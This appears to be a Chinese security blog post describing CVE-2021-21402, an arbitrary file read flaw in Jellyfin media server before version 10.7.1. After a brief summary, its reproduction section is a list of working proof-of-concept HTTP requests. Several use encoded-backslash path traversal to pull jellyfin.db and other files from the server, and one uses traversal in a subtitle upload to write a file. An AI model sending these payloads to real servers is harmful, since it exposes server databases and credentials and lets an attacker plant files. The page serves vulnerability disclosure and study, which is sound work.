jellyfin任意文件读取漏洞CVE-2021-21402

目录

简介:

复现:


web安全学习了解: web渗透测试      
官网: 宣紫科技      

简介:

Jellyfin 是一个免费软件媒体系统。在 10.7.1 版之前的 Jellyfin 中,带有某些终结点的精心设计的请求将允许从 Jellyfin 服务器的文件系统中读取任意文件。当 Windows 用作主机 OS 时,此问题更加普遍。暴露于公共 Internet 的服务器可能会受到威胁。在版本 10.7.1

中已修复此问题。解决方法是,用户可以通过在文件系统上实施严格的安全权限来限制某些 访问,但是建议尽快进行更新。

影响版本:

Jellyfin<10.7.1

复现:


Poc GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1 

GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1 

GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?api_key=4c5750626 da14b0a804977b09bf3d8f7 HTTP/1.1 

GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1

GET /Images/Ratings/..%5c..%5 c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename HTTP/1.1 

POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1 
... 
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="... "
... 
{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base6 4 encoded data"}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值